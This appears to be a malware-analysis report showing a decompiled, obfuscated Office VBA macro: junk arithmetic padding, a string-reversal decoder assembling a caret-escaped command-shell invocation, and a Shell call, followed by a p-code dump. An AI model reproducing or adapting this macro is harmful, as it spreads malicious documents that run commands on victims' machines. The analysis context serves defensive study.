wEHijn = hphqr + Sgn(5912 - lUBdDa - iwhrka + Fix(17452)) - 78111 - CDbl(90712)
vWBDv = CXcbrz
iNUijB = RJrlQH
rzMrs = 88300
iNUcTuYIB = jMwXi(".4wEjBVWWU", 63029 + 4 - 63029, 63029 + 4 - 63029)
uVBYqr = GbzzkB + Sgn(6353 - PwdmQq - iPmnDK + Fix(46217)) - 29792 - CDbl(69528)
DUjsSF = KfKhsl
GWOjQO = dkIqm
CnpiLO = 2672
XzYpRP = iJkbsb + Sgn(20143 - VDaYwB - uNXNd + Fix(52783)) - 82108 - CDbl(75640)
tZSUms = jpwVZZ
PhTYh = VqidB
KRDmU = 83779
zjphMCinqC = jMwXi("Iaw2bDftNFVw", 62829 + 5 - 62829, 62829 + 4 - 62829)
mhSIp = cVqjz + Sgn(60933 - VvHjJC - RcDqp + Fix(36706)) - 69957 - CDbl(64106)
fCddD = kwYdRE
iHjzF = PKXcRi
KdcTW = 43352
GNGqc = QKPZzd + Sgn(97394 - ftPUCp - qAHOZ + Fix(80857)) - 70443 - CDbl(33813)
MahHMP = Mdfqjr
rYZOOc = ArFjQ
wcDpf = 86631
VBFut = jMwXi("P6 !%zEmuwIMoTPRt", 91581 + 6 - 91581, 91581 + 10 - 91581)
NZwqPP = CrWwiw + Sgn(42457 - qzbWo - LibYw + Fix(5797)) - 90493 - CDbl(70054)
qLqIRS = izwdMJ
GARqi = DNJERB
USSMES = 32489
PufPwI = tljaw + Sgn(71664 - EizORm - AECrEw + Fix(62461)) - 70894 - CDbl(51446)
tLLWK = ZYziC
HjKnW = YcNIw
PpdXt = 23270
AcYUHb = jMwXi("V0%idBRiIiMHWd", 62326 + 5 - 62326, 62326 + 8 - 62326)
IKPhma = uMXpU + Sgn(14457 - zzShQa - MzDkP + Fix(15308)) - 12857 - CDbl(40329)
Cilpuq = CYNLPM
XopQP = KqdlSv
MwXSD = 48560
kpkia = NDJzFD + Sgn(38847 - tzbBXd - bNkZSP + Fix(85516)) - 69553 - CDbl(25247)
KuIcG = ijFho
aEEnM = NfRSZ
JczFHN = 39851
zYMiFWDBiZs = jMwXi("9Ti0MJ&&eh=%iQlCGp", 43782 + 3 - 43782, 43782 + 10 - 43782)
wlvIL = npzSR + Sgn(92153 - FmfUfD - WhwrV + Fix(44739)) - 37174 - CDbl(57423)
ZbrMU = oJwct
XiwBdt = pTlcK
zOpDn = 76919
oOzGrw = aZhtZv + Sgn(13450 - NdLHwZ - jWXDs + Fix(60563)) - 97124 - CDbl(21766)
LqZDww = sYCJS
dZZra = kEzLP
faioD = 21955
ZpKmVKjaHK = jMwXi("d74XMlP", 98163 + 3 - 98163, 98163 + 1 - 98163)
NwijWD = OZSitQ + Sgn(96463 - swdAF - ahMiJf + Fix(37965)) - 45478 - CDbl(42365)
UrjEN = qDohnL
QRwZFi = KDGfnP
EMYYq = 6250
KaCfs = ztozwu + Sgn(82649 - GwjEj - HzuUI + Fix(35647)) - 91648 - CDbl(66309)
GuqzIJ = OCiia
vzQSPU = wOTmqA
jiWaj = 29232
rvHNP = jMwXi("UnW4WowOWnzbj% tesbpA", 27072 + 4 - 27072, 27072 + 12 - 27072)
iCHwit = jiWwmj + Sgn(7202 - DqDavw - aEGHzp + Fix(61387)) - 61574 - CDbl(16590)
LcNwJV = bCOkzo
TGlfj = ITBqc
pauvD = 96404
RQoljS = mUSsU + Sgn(58779 - IoIiu - wHvVkp + Fix(73375)) - 95589 - CDbl(30577)
ONNaZ = JqYPWh
WzvoX = jjrim
KUSAuj = 17019
nqUTtPIQZQz = jMwXi("ilww^o=%ZwzPYtILLBICjUz", 25805 + 5 - 25805, 25805 + 16 - 25805)
MEiGD = WiRKiP + Sgn(29471 - ZYpAOj - XWjbvP + Fix(34153)) - 82731 - CDbl(81948)
jOLwST = khsBSh
XPNvu = tSZmp
vfHbEn = 52403
YtLhB = GXvFbK + Sgn(60122 - SHPqI - lVDjtF + Fix(77207)) - 98907 - CDbl(67741)
pzEMR = WLlvzv
iCXqM = zIQXd
Dpcovr = 12658
jwiHp = jMwXi("MzL@wJa!%idBRiIibSTYG0z", 61748 + 3 - 61748, 61748 + 14 - 61748)
ZQdFTI = lEENfp + Sgn(5231 - jVPcj - OZZbdN + Fix(76307)) - 88050 - CDbl(43642)
DrHtSY = XDbOD
KztAU = TfPXFK
EipuBr = 65101
VALnWw = Sjzim + Sgn(54800 - rcrrio - RrwBcb + Fix(62610)) - 69809 - CDbl(19719)
ahiLh = qhZPOq
JciorW = ZkfwEJ
muUYi = 49055
ciJGsiHw = jMwXi("lAiJNtI", 28395 + 4 - 28395, 28395 + 1 - 28395)
DFzQJu = JEYPb + Sgn(27621 - ZtnpNM - qBiGYV + Fix(9423)) - 75932 - CDbl(9979)
jQrGWl = hczPj
jduYM = hjUMz
EOJkZ = 91626
FjcGNp = Kjpaz + Sgn(19090 - AYLrz - FSQBjA + Fix(49770)) - 75877 - CDbl(10783)
AVWoV = vASAab
VHQSX = hzOHH
mQbWMP = 42153
JncuUwdMzji = jMwXi("DiNpRnITW", 43143 + 5 - 43143, 43143 + 3 - 43143)
PoFbV = IcLYzz + Sgn(56941 - vtTiC - XUmNO + Fix(97164)) - 67277 - CDbl(52964)
dGkEW = jCozn
EnqIH = kUhDi
DhuCr = 24361
PAvAiY = bsXXW + Sgn(79697 - EZzhEU - nVJXiX + Fix(44600)) - 81840 - CDbl(74138)
cMDnZa = IRppD
JfVqV = drGZsc
mczBjl = 11236
QnGsuXwBd = jMwXi("CQBzUvIn", 44383 + 3 - 44383, 44383 + 2 - 44383)
vKlzfw = ZmizjI + Sgn(99784 - NjBsJr - mLKuo + Fix(60663)) - 16700 - CDbl(30229)
DzXOV = tqznST
tsWmll = iswwZ
amkKJ = 31482
PMKMZw = Szmuh + Sgn(27671 - UiOUX - rmCOu + Fix(68981)) - 4442 - CDbl(35224)
qHXGk = QjXLOi
VtKXc = kjDsQ
ncKwRp = 93063
HIrzXwtUur = jMwXi("Gz4BohuFIJt6%T", 44180 + 7 - 44180, 44180 + 5 - 44180)
FJfWad = DCrIIa + Sgn(74322 - IDWGn - dmPHJz + Fix(2745)) - 12093 - CDbl(69357)
VSfzM = ozzlj
MjIWAM = sviJR
WQPQjc = 95470
wPpLBw = tNIDjV + Sgn(81735 - wwluwt - mbmOz + Fix(96612)) - 92584 - CDbl(80)
RAFuLm = flXUjh
FXatBn = RloocN
nwtzN = 46690
qnqkCc = jMwXi("i3IMP%!=%bAVrpKCQjZ7mQ", 35457 + 8 - 35457, 35457 + 13 - 35457)
iQwcMI = IaZaF + Sgn(71917 - qYEuMp - PRFjZ + Fix(28623)) - 83977 - CDbl(79255)
WVJFWH = QpioIK
OWbrw = oCBik
zqtnt = 28087
WAtcnK = qMOFnG + Sgn(56772 - EkYmX - tWFpZI + Fix(32185)) - 90007 - CDbl(77564)
mMSMkc = VQQarh
QjLKh = QuRFd
onOCYv = 46066
OZRvsDc = jMwXi(".8=BQDLD", 37649 + 6 - 37649, 37649 + 1 - 37649)
TaoQmc = DVGIB + Sgn(79266 - ZpwFNX - rvMjH + Fix(77036)) - 91264 - CDbl(13190)
siTAC = uuXFPM
LwboE = YFSiA
bfbhf = 77538
pWaUR = GofLk + Sgn(2122 - JldsR - APuit + Fix(50893)) - 19828 - CDbl(17578)
JtsWJ = wKomoK
zKfOm = dLmauw
pvoju = 14302
zlonmbQQSnH = jMwXi("8.TH% tes&TQW0wWw", 11857 + 8 - 11857, 11857 + 8 - 11857)
sflSN = cKboGd + Sgn(89569 - PjCinj - CXSwaF + Fix(6587)) - 6506 - CDbl(42578)
sjFdU = MBuBS
zUQCYZ = lCGaZ
HTUnmZ = 13971
sOKKz = ohYJTQ + Sgn(59622 - HzDhwK - dcEHvv + Fix(97510)) - 20031 - CDbl(55538)
KjZdXE = vYftDh
zDUqOh = FbROm
CDvpW = 92366
mNYMLn = jMwXi("sITM%!=%PcmzO@TH", 9600 + 4 - 9600, 9600 + 10 - 9600)
IjFHj = HmXfza + Sgn(90338 - JsbIv - YFIHOk + Fix(94802)) - 85389 - CDbl(83481)
pWHRjR = NGTZjh
UorrtL = hbAsD
wswwP = 89749
CdwdV = ioCCbt + Sgn(50070 - bOJID - UNjrQD + Fix(94085)) - 19529 - CDbl(33365)
YwRwj = iijKV
ptfTa = cfuYtz
ptFMSw = 39265
RjRZSYvdqh = jMwXi("nQ.HdHIm% tes&&r^e=%MCpLkJ", 89747 + 3 - 89747, 89747 + 17 - 89747)
pdfcb = YfbYs + Sgn(57611 - XqLzc - hlSAD + Fix(34720)) - 6163 - CDbl(88344)
cVRLB = APArwP
ATzAV = RDuPpk
lXcbKY = 47209
wwPqFz = LATXv + Sgn(62752 - LMOfaw - zkIdVL + Fix(72649)) - 34745 - CDbl(78879)
mNiWD = OIfrb
FfMHLa = VZqjpA
HMknS = 88291
GiWGLi = jMwXi(",7nmzOtil%!&&ll=%zQaNX", 28709 + 5 - 28709, 28709 + 15 - 28709)
KlhBG = wzWvH + Sgn(24220 - icROz - VTkwi + Fix(78819)) - 42690 - CDbl(83474)
CYrYh = vufFFS
WCvbd = hfvVoH
raoCM = 68906
LiwpIC = pcRcr + Sgn(39204 - zjHqac - jWwwWY + Fix(89348)) - 40779 - CDbl(27685)
pnVvjr = sOQOm
iYDvJ = WSkkhb
zsliK = 38111
kozBqVbzD = jMwXi("%XkCKAVrpKm%!!%PczRl", 32031 + 4 - 32031, 32031 + 12 - 32031)
nmDww = rzwLM + Sgn(70865 - MQYTck - rLFCoU + Fix(46397)) - 85175 - CDbl(29567)
kFuYW = VEwqzX
YYwiw = TRBZnW
hAKiuz = 70132
NzAAHO = adcIzb + Sgn(7210 - VjJHhj - hVUYP + Fix(16357)) - 64052 - CDbl(9200)
uKOfbj = oskvl
bkkjY = AMowG
Sijjw = 80000
RSjjHIP = jMwXi("%VXXfNBpjWMzCdhcj% tesOzp", 82929 + 4 - 82929, 82929 + 19 - 82929)
YfOnNY = lOUOz + Sgn(70658 - Lukni - REkFNH + Fix(47653)) - 18240 - CDbl(9911)
FtvCMp = wXIKi
sazWkG = vvQFbT
JaFzDj = 46865
TlfmJ = rraKzz + Sgn(11442 - iZNljL - YrjZN + Fix(1158)) - 91898 - CDbl(77775)
wWzis = YECWYk
GATMC = pMiRA
utzNv = 70523
uniwJmPFZzn = jMwXi("qwpHo%iQlCUUJiz", 28309 + 2 - 28309, 28309 + 9 - 28309)
CWObzX = pAIiKn + Sgn(45043 - lfFBw - zqREw + Fix(47458)) - 95162 - CDbl(99770)
rGlbi = sYVpIj
EvGNma = TIumW
fwWzw = 93130
oibsKd = blJTc + Sgn(17394 - msqEDI - nDSHMM + Fix(37927)) - 53810 - CDbl(90811)
ZJiXqW = XmYiYa
cDrqIH = zHnBfJ
wRizqQ = 88450
GBzft = jMwXi("8jMP% tes&&pfNBo", 80050 + 5 - 80050, 80050 + 10 - 80050)
iGvWM = RkROcp + Sgn(59889 - UcTnz - BqWLNt + Fix(48826)) - 39697 - CDbl(80696)
iKjIYl = mvOjXW
CTFqzF = CTRSoj
ITHwum = 62857
JznTlSCjNozGX = RSjjHIP + WqlHOqVMGb + zjphMCinqC + tjhtLImCw + rTOWdF + EUQoRXzrWT + AcYUHb + OZRvsDc + GBzft + nqUTtPIQZQz + wzdZMFq + VNWfTXuZj + ciJGsiHw + kqQUfjkv + HIrzXwtUur + EjzfEMr + mNYMLn + jwiHp + VLqAsij + zJOmtH + PQiQzwBwK + QRWCacoAQo + PFNKY + tpBMFT + iAFTZm + YiUioh + XHmYNF + RjRZSYvdqh + qnqkCc + ciNBbI + zlonmbQQSnH + JncuUwdMzji + LurOulLaT + FDVZc + jvtiKSdB + zYMiFWDBiZs + rvHNP + ZpKmVKjaHK + zPQMS + GiWGLi + kozBqVbzD + PHsjdUIa + QnGsuXwBd + iNUcTuYIB + bqHwXHT + VTFtoJjBRk + uniwJmPFZzn + fpazWcFGrPQ + VBFut
FWjih = sivdUj + Sgn(16737 - njXkwf - RqkCKd + Fix(54691)) - 14416 - CDbl(68523)
jFkNjG = XAKlW
TzbPfX = JoBco
wjXCPa = 23117
Qzdmir = PEWNj + Sgn(82939 - RJkPa - Vbibc + Fix(55507)) - 65744 - CDbl(30496)
mZwia = ESQdBD
pDKlm = hnCZQz
pRCKB = 18623
End Function

Attribute VB_Name = "wSzRARH"
Sub qUmYD(liRrq)
ickzjl = JnQGc + Sgn(84854 - CXGskV - Uwhnrt + Fix(93449)) - 7789 - CDbl(75309)
TLWYVi = lPIzZa
JjFRO = ZGUzN
CLorME = 149
nRVYjo = GVNpv + Sgn(43862 - iLoip - LMqXL + Fix(80015)) - 62504 - CDbl(74207)
XvsZua = KjlZQS
HJSJhh = DhPkUa
wNrHVJ = 96346
End Sub
Sub svUVBjEtwLpCM(HTRpNqzdz As String)
On Error Resume Next
wVctl = HtPwt + Sgn(52884 - NtjwEV - OdoZz + Fix(34476)) - 22897 - CDbl(36835)
SvInpM = jnwbwo
mbzrkU = JQoiD
jDuTp = 77250
zDkotB = zKItXa + Sgn(58505 - wAabw - IiUImt + Fix(30847)) - 56685 - CDbl(88221)
lIoBir = zjXLw
uHdoi = ttOpR
ZPfHIj = 42947
[Shell] jIOmcUGq + Chr(vbKeyC) + HTRpNqzdz + raXKXaAIEl + AjXSWMJbi, GpaHTR + 0 + GpaHTR
brohbm = rLKwDQ + Sgn(43456 - tiBpf - DuzQwk + Fix(92072)) - 28947 - CDbl(30800)
iLmQj = cwnIRs
azTAEd = HmzsXw
RiBwcv = 98575
riGfK = FBWjL + Sgn(35972 - Sdjrl - DsLttm + Fix(84558)) - 21687 - CDbl(34204)
LpwcGF = uZTjCl
LLiTwA = FqOwb
kMsSqn = 29996
End Sub

Attribute VB_Name = "rPqQNpoS"
Function ABGjh(IYMRTF)
hjfZDi = AqOVRU + Sgn(92935 - ClLdnY - vUwCi + Fix(68865)) - 88366 - CDbl(57138)
wFshJ = nlGlRK
kSNlUV = FpSaUl
dBDzG = 24308
ZLbPiR = aXBGCI + Sgn(68723 - ptPYCQ - nSMYa + Fix(19700)) - 69387 - CDbl(6240)
LzvLGl = qEdfR
TRdaw = JhiKa
YJCGq = 76588
UNvFMY = DXZTZ + Sgn(72111 - WwvvzL - tGcnU + Fix(86170)) - 67273 - CDbl(54240)
jNppz = YMQCa
mIOkp = BKGLrc
aHSRs = 60461
bDpFjw = Saiiwk + Sgn(32421 - zNCfO - RNYWNX + Fix(44432)) - 93106 - CDbl(11531)
XXmfjT = Bsmjk
jurAT = EONQH
qQjWZ = 38528
End Function
Function UnGZw(XiEBmc)
hoscVW = nBjKG + Sgn(59370 - tDaiT - MQkZU + Fix(86358)) - 30759 - CDbl(91185)
AMaoJd = XGACQ
SHwSTP = biXSJl
ETHdG = 16001
ATkSV = sfTdRC + Sgn(57023 - cdBZAQ - VpHiY + Fix(24087)) - 92966 - CDbl(9309)
XwHbSo = AwWmv
tBHHT = pFDFrE
dcozjv = 50659
GVuCf = RBbiiH + Sgn(20216 - GXQtUP - UqQXmK + Fix(67273)) - 23287 - CDbl(1849)
qVrnjM = onYEc
NwUhWQ = mbLbli
fsiipa = 76378
mTIZKL = hrorP + Sgn(5903 - ScMvUD - KQBBi + Fix(49269)) - 91961 - CDbl(17544)
OCnZJB = wGUhu
muPaE = BWuFk
bDHYb = 73201
End Function
Function jMwXi(ByVal litOzmcP As String, jbznWOwMIwumEz, tmhSiJUUClQi)
On Error Resume Next
XBapb = RRDPpz + Sgn(42231 - qdHmH - VHTUw + Fix(6974)) - 2133 - CDbl(64938)
RYiiYW = MFnzn
zGFGO = lZzlT
nQiFs = 45891
mKprVAb = jTmrKRzwXR + Mid(wKhNK + StrReverse(litOzmcP) + PqpzvYR, KRlGkGMQVDpL + jbznWOwMIwumEz + uoQFOHz, tmhSiJUUClQi) + JjaFVpCifnuU
zzMrn = pipdX + Sgn(97786 - VBZrhQ - zBiLA + Fix(28414)) - 31856 - CDbl(18789)
qQurKu = EObwHF
FCHXU = JnGdA
zQBrY = 89704
jMwXi = AzNdHnaLUdG + mKprVAb + MuhdItrv
YCKQr = wZCWC + Sgn(3479 - EVrZzj - poKzJo + Fix(20693)) - 31415 - CDbl(74845)
zhzXbw = MQhdm
GDSkp = mjtHA
krKHD = 89934
mKZVCE = YoMjBR + Sgn(4945 - EwrDV - AIDZw + Fix(6850)) - 83976 - CDbl(9670)
FNnwAI = iPfMow
KFjRN = OQzZcl
VvEAl = 37061
End Function
Function HVOUCO(NbYJP)
lsUOm = RipONT + Sgn(28414 - LmLia - CQpqO + Fix(28617)) - 99282 - CDbl(30758)
obQNi = cbpOH
QRHAB = HLbQti
zVDdAX = 58021
iAmzG = rjKVQT + Sgn(37378 - whqNbs - YYhhS + Fix(67451)) - 88864 - CDbl(47671)
prdzmR = CuHQc
udPbN = Vnnwm
FbEQnw = 93942
MfZpT = jMnSTb + Sgn(54337 - dESrV - CLCur + Fix(4915)) - 63920 - CDbl(80098)
mHKTR = PDZHN
JAVcKV = zzzvbZ
AdiwR = 35365
wAKJIK = OAskH + Sgn(63257 - LjShhj - QpLjtJ + Fix(7693)) - 72167 - CDbl(49324)
qvwMzK = CKujw
LTsNp = LRjizj
zZOAw = 55978
End Function
Function Fhijnjjun()
On Error Resume Next
RtMihL = ziXoI + Sgn(33073 - zPAwOo - KGMzf + Fix(78416)) - 21696 - CDbl(87640)
JwGXnR = KjiaM
MurPaz = NEkoN
mziCW = 21457
KtnzN = Dnquz + Sgn(88808 - qIRjB - dAMjNw + Fix(7522)) - 56092 - CDbl(3200)
GKNzP = JirPcz
lvrPRc = tYAZO
zMawJ = 44264
ArlIwd = jMwXi("m6CziRN zYsATnuzEzYQQ", 91594 + 4 - 91594, 91594 + 15 - 91594)
jjjku = EzipmD + Sgn(57817 - blVjm - jNhKo + Fix(71223)) - 27174 - CDbl(76061)
IsFFzw = LHVdX
KjNVk = WbEPWW
TBZwJ = 48388
YWSObU = OPwJhC + Sgn(25931 - kMSjJ - SUPlwJ + Fix(41273)) - 41246 - CDbl(91756)
NiLSdQ = rcXqb
dWAqQG = tflzF
DcdLV = 87208
qMifn = jMwXi("7i6W@AE^p^S^m^o^c^%     %.", 33248 + 2 - 33248, 33248 + 19 - 33248)
Gwwqu = UDbGmH + Sgn(83286 - lPzSEO - zhzMMc + Fix(23829)) - 62218 - CDbl(27436)
BzGXj = KwomD
ZzrOK = NfsQi
IOBdhA = 15070
aizqE = QjmKSY + Sgn(59781 - RbaVO - VoYAlM + Fix(45642)) - 9067 - CDbl(78033)
jUUPI = HnLPac
cCidX = iABUzz
JwFrML = 85321
iHPfjSjIjh = jMwXi("mR    & mQhtnQV LEJSSsUisUnWqFbS", 45366 + 8 - 45366, 45366 + 23 - 45366)
bwDPwm = mKzPs + Sgn(45980 - zCjAYK - hzXQW + Fix(41778)) - 19669 - CDbl(66899)
CPjfB = fNatK
rViGN = zCHMn
jtwfza = 32343
rEBaET = wEkJX + Sgn(66036 - BnXSK - XiTHdM + Fix(11459)) - 69162 - CDbl(38940)
PiciQ = VCCDpw
COkrhz = QnzXPN
uzrOii = 82248
mcpYRUVXTS = jMwXi("7Nmd0% n", 18941 + 2 - 18941, 18941 + 2 - 18941)
auEEH = VPGAZ + Sgn(91888 - ssUYm - zclFOD + Fix(18152)) - 52954 - CDbl(10170)
pGUrj = pncpYv
rWqRT = EXpvz
spppBz = 80283
LcFAD = jMkSQz + Sgn(21636 - CHmpwH - uVXzb + Fix(1778)) - 59768 - CDbl(81166)
mPVIY = AwDJC
UFEnH = jRUnA
hRHiAb = 86157
njDEhai = jMwXi("vz dmswQPFW", 30550 + 7 - 30550, 30550 + 3 - 30550)
WijAi = VwGqm + Sgn(79481 - SZPSM - ovYjw + Fix(28606)) - 61110 - CDbl(52203)
zRvcQ = klYDI
rnKiB = kPrrQ
HEFwBh = 73292
TGQQiL = AVcEz + Sgn(4432 - GiGOiD - uCZVlz + Fix(99147)) - 7209 - CDbl(83970)
nfsfi = nknim
MIMtT = OmWpNJ
DrusL = 17937
jUtJLqdnbM = jMwXi("Jz8Kj        CB", 98010 + 3 - 98010, 98010 + 8 - 98010)
dURRKF = QTdqYv + Sgn(53155 - RJsjGo - lwRiG + Fix(50650)) - 51907 - CDbl(86447)
cVpprr = jNQwTs
pNzNal = iDHZj
zbzCp = 50512
zAlAmD = bSEYC + Sgn(45109 - UbLSA - oZzDoF + Fix(75822)) - 67778 - CDbl(93908)
Efrts = huihHu
wuzhB = Qcwqi
YBhMj = 31833
iFIHCVpaFpW = jMwXi("vDV/     %^c^liTWdVa", 73628 + 8 - 73628, 73628 + 11 - 73628)
iPAsKi = jtRnSc + Sgn(88055 - CJoYl - jaHpM + Fix(69740)) - 37627 - CDbl(74012)
hwQZP = vCpDU
WKIYCP = wYXIi
wptDw = 88355
TwKmCX = ctGLCk + Sgn(82616 - LCSGLY - lIPcF + Fix(46104)) - 14772 - CDbl(71760)
ripzJ = mzszj
wwFaSS = lMozL
LCXZS = 33385
hCbtSr = jMwXi("Ua           c/ W@W,FQj", 25457 + 8 - 25457, 25457 + 14 - 25457)
HrUXv = YEPVOL + Sgn(78798 - mLJCn - mzDDh + Fix(57412)) - 63381 - CDbl(96473)
PYZiO = HciiYt
VramW = YqOXfL
InQqRM = 51048
GNAcXS = rXvCkS + Sgn(55971 - wqCAa - iDqPGH + Fix(40719)) - 21570 - CDbl(93410)
wtUjm = RjcoTA
HRacoS = kLIzX
JNQKS = 62550
SspSQ = jMwXi("ip^c^E^p^S^m^o^c^HQ3P", 1153 + 5 - 1153, 1153 + 15 - 1153)
lErwwi = YSYlP + Sgn(65467 - jzfih - vZnlWI + Fix(55215)) - 74010 - CDbl(8003)
RVmaB = acfFQ
RmWipt = Plflof
RFboF = 30001
FamjlT = NUczbz + Sgn(21913 - bUGwo - YhlANz + Fix(63569)) - 10152 - CDbl(72969)
mkTPF = inbZnn
djqIjG = zSHRj
BiXWwI = 66373
TEJmwf = jMwXi("wm@4.RBdGCwAqWFzwLnt", 39261 + 3 - 39261, 39261 + 13 - 39261)
KrfvT = qSXPtk + Sgn(64998 - QXozw - UTcCj + Fix(24692)) - 81623 - CDbl(91570)
EcfFp = sKNPX
iusXw = tRAhz
MpqOd = 23880
tuDSm = isoYM + Sgn(52985 - bwpYki - BwdPXd + Fix(41570)) - 86602 - CDbl(99375)
dhAIdi = cFJRSE
nGRiPz = iwZFw
nvJsl = 86139
Fhijnjjun = njDEhai + ArlIwd + TEJmwf + iHPfjSjIjh + mcpYRUVXTS + SspSQ + qMifn + iFIHCVpaFpW + jUtJLqdnbM + hCbtSr
viaYz = OwiVV + Sgn(67182 - lcQLnd - KzjbDh + Fix(25757)) - 77336 - CDbl(63427)
RfZszI = tkwlVz
EWEfLi = FItCwv
VQFZPh = 7127
qNsCt = iHqPkO + Sgn(2805 - uSIPO - jaELR + Fix(19479)) - 61367 - CDbl(59498)
cdHPG = wCoVdR
XoAZL = shamIz
QIjkj = 32909
End Function
Sub zNmcz(bvQTtk, hDQLrw, mbBrzQ)
fqVEmM = CJCYa + Sgn(33237 - wQHsY - oMsVs + Fix(71848)) - 40406 - CDbl(31989)
MudjK = FuPHXh
uNnRjo = KuwbMv
zALBr = 94466
wHurHL = VslAWJ + Sgn(35586 - hbEjaN - wCXOd + Fix(14912)) - 89104 - CDbl(6220)
jkBzF = ZZcwoC
apmAS = kwKWP
LsUsij = 53100
End Sub
Sub fTmIVa()
BiEbZP = bhbcpb + Sgn(35664 - VNlSt - FjtPMN + Fix(64245)) - 13410 - CDbl(5811)
frdjRG = qPbRmR
tzWVw = XDjpv
LMMCCU = 58859
zzwirP = uCSiT + Sgn(30061 - VNrLIi - cLnoT + Fix(90670)) - 65121 - CDbl(58045)
ZwITJ = BndiFc
OGciX = zLqLAr
mKuYU = 71828
End Sub

' Processing file: /opt/analyzer/scan_staging/f00878f472eb4fe691ecedd772134e9f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/dfZEMCSwiTUGqk - 5131 bytes
' Line #0:
' 	FuncDefn (Sub oAjVTv(rEcDck))
' Line #1:
' 	Ld uVlLwf 
' 	LitDI4 0x55D4 0x0001 
' 	Ld nwFhbh 
' 	Sub 
' 	Ld IjOntq 
' 	Sub 
' 	LitDI2 0x7922 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI2 0x7549 
' 	Sub 
' 	LitDI4 0x34F6 0x0001 
' 	Coerce (Dbl) 
' 	Sub 
' 	St JHWjv 
' Line #2:
' 	Ld uVPmSO 
' 	St wRiFo 
' Line #3:
' 	Ld XVBCc 
' 	St XnCDE 
' Line #4:
' 	LitDI4 0xE0A4 0x0000 
' 	St aHwCI 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub wzBOP(wPLLLv))
' Line #7:
' 	Ld LIRqvO 
' 	LitDI2 0x0BE8 
' 	Ld NZzTH 
' 	Sub 
' 	Ld MSVWZ 
' 	Sub 
' 	LitDI4 0x263C 0x0001 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0xD5F2 0x0000 
…

Open this report in the interactive analyzer, or submit your own file for analysis.